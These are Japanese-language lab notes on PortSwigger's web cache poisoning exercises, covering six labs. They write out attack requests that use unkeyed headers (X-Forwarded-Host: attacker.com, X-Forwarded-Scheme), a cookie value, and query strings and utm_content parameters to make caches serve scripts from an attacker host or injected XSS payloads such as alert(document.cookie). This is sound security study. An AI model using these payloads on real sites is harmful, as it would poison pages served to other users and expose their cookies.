PortSwigger - Web cache poisoning
Web cache poisoningとは
Webサイトのキャッシュに、攻撃者が作った「おかしなページ」を保存させ、その後ほかの利用者にも表示されるようにする攻撃
Progress
- Web cache poisoning with an unkeyed header
- Web cache poisoning with an unkeyed cookie
- Web cache poisoning with multiple headers
- Targeted web cache poisoning using an unknown header
- Web cache poisoning via an unkeyed query string
- Web cache poisoning via an unkeyed query parameter
- Parameter cloaking
- Web cache poisoning via a fat GET request
- URL normalization
- Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria
- Combining web cache poisoning vulnerabilities
- Cache key injection
- Internal cache poisoning
Web cache poisoning with an unkeyed header
unkeyed headerとは、今回のケースだとHTTPヘッダーの X-Forwarded-Host がキャッシュキーとして設定されず、以下の2つのリクエストは別物だが同じキャッシュとして扱われる。
X-Forwarded-Host は、プロキシが元の Host 情報をバックエンドへ伝えるために使われるHTTPヘッダー
X-Cache: miss/hit が表示されていると、キャッシュが保存されたか確認できる。
script.src の部分を動的にホスト名も加えて変更していることが問題。
<!-- victim.com body -->
<script type="text/javascript" src="//victim.com/resources/js/tracking.js">
さらに、キャッシュの仕方も victim.com + / と victim.com + / + X-Forwarded-Host が同じキャッシュとして参照されるようになってる。
レスポンス生成に影響するならキャッシュキーに設定すべきで、キャッシュキーに追加してキャッシュA と キャッシュB を分け参照先を切り替える必要がある。
GET /
Host: victim.com
↓
GET /
Host: victim.com
X-Forwarded-Host: attacker.com
<!-- キャッシュが汚染され状態で正規ユーザがアクセス -->
<script type="text/javascript" src="//attacker.com/resources/js/tracking.js">
<!-- attacker.com/resources/js/tracking.js body -->
alert(document.cookie);
攻撃の流れ
攻撃者
↓
X-Forwarded-Host: attacker.com
↓
GET / でレスポンス生成
↓
<script src="//attacker.com/resources/js/tracking.js">
↓
レスポンスがCacheされる
↓
正規ユーザーが GET /
↓
汚染済みレスポンスを取得
↓
attacker.com の JavaScript をロード
Web cache poisoning with an unkeyed cookie
Cookieの値に Cookie: session=FcTy954LRvK6ekyltQFLtonOY2PP3XcS; fehost="prod-cache-01" が設定されており、bodyにCookieの値が反映されている。
Cookieの値を書き換え、キャッシュさせることで正規ユーザのレスポンスを汚染できる。
<script>
data = {"host":"0aae003204245c1480f0032900ca008d.web-security-academy.net","path":"/","frontend":"prod-cache-01"}
</script>
Cookie: session=FcTy954LRvK6ekyltQFLtonOY2PP3XcS; fehost=a"}%3balert(1)%3b+//
↓
<script>
data = {"host":"0aae003204245c1480f0032900ca008d.web-security-academy.net","path":"/","frontend":"a"};alert(1); //"}
</script>
Web cache poisoning with multiple headers
X-Forwarded-Scheme は、プロキシの手前でクライアントが使っていた URL スキーム(http / https)をバックエンドに伝える。
script.srcは安全に設計されている。
<script type="text/javascript" src="/resources/js/tracking.js"></script>
X-Forwarded-Schemeというヘッダーを使ってリクエストを送信すると、302リダイレクトがキャッシュされる。schemeをhttps以外の値にしないとhttpsリダイレクトをキャッシュすることができない。
Hostを attacker.com にしてhttpsリダイレクトされるキャッシュを保存できると攻撃が成立する。
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: http
HTTP/1.1 302 Found
Location: https://attacker.com/resources/js/tracking.js
攻撃の流れ
攻撃者
GET /resources/js/tracking.js
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: http
↓
Cache key:
example.com/resources/js/tracking.js
X-Forwarded-* が含まれていない
↓
保存されるレスポンス:
302
Location: https://attacker.com/resources/js/tracking.js
Targeted web cache poisoning using an unknown header
Vary は、キャッシュ時に指定したリクエストヘッダーの値が変わると、キャッシュも切り替わる。
script.srcが動的に変わっている。
<script type="text/javascript" src="//victim.com/resources/js/tracking.js"></script>
VaryにUser-Agentが指定されており、今回のケースでは、対象ユーザがどのブラウザを使ってアクセスしてきているのかを確認できれば対象ユーザに対して攻撃することができる。
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Vary: User-Agent
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=30
Age: 6
X-Cache: hit
Connection: close
Content-Length: 5880
アクセスログを確認すると、対象ユーザのUser-Agentを確認することができる。
対象ユーザのUser-Agentに切り替えてキャッシュするとユーザがアクセスしにきて攻撃が成立する。
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36 Safari/537.36
X-Host: attacker.com
Web cache poisoning via an unkeyed query string
Pragma: x-get-cache-key は、[このリクエストのキャッシュキーを見せて]とCDN/キャッシュに頼むデバッグ用ヘッダー
linkにリクエストしたURLが表示されるようになっており、クエリを悪用することができる。
<link rel="canonical" href='//0aa00019032e216480b862cf000800e2.web-security-academy.net/?test=tesa'/>
キャッシュキーがパスは見ているがクエリまでは確認していないので、どんなクエリを設定してもユーザがアクセスできるパスを汚染すれば攻撃することができる。
GET / HTTP/2
Pragma: x-get-cache-key
GET /
GET /?hack=hack
↓
# クエリをつけてもPATHが同じ
X-Cache-Key: /$$
今回はキャッシュのTTLが長いのでOriginヘッダーを使用して検証する。 今環境ではOriginはキャッシュキーに含まれているので、キャッシュを切り替えながら悪意のあるクエリの検証ができる。 実際の環境では、攻撃者が指定したOriginをユーザが指定しないと同じキャッシュにならないので、攻撃成立しにくい。
X-Cache-Key: /$$origin=tee.com
XSS用クエリを作成する。
GET /?test='/><script>alert(1)</script>
Web cache poisoning via an unkeyed query parameter
UTMパラメータとは、Webサイトへ訪問したユーザーの流入元や流入経路などを計測するために使用される。URL末尾につく文字列で「どこのメディア・バナーからのアクセスか」といった流入元を識別できる。
utm_source, utm_medium, utm_campaign, utm_content etc
前回と同様でクエリを指定しても/$$ キャッシュキーにクエリが設定されないものがあると攻撃に利用できる。
GET /?utm_content=t HTTP/2
Pragma: x-get-cache-key
↓
# 他のクエリはキャッシュキーに設定されるが、utm_contentのみキャッシュキーに設定されない設計になっている
X-Cache-Key: /$$
XSS用クエリを作成する。
GET /?utm_content='/><script>alert(1)</script>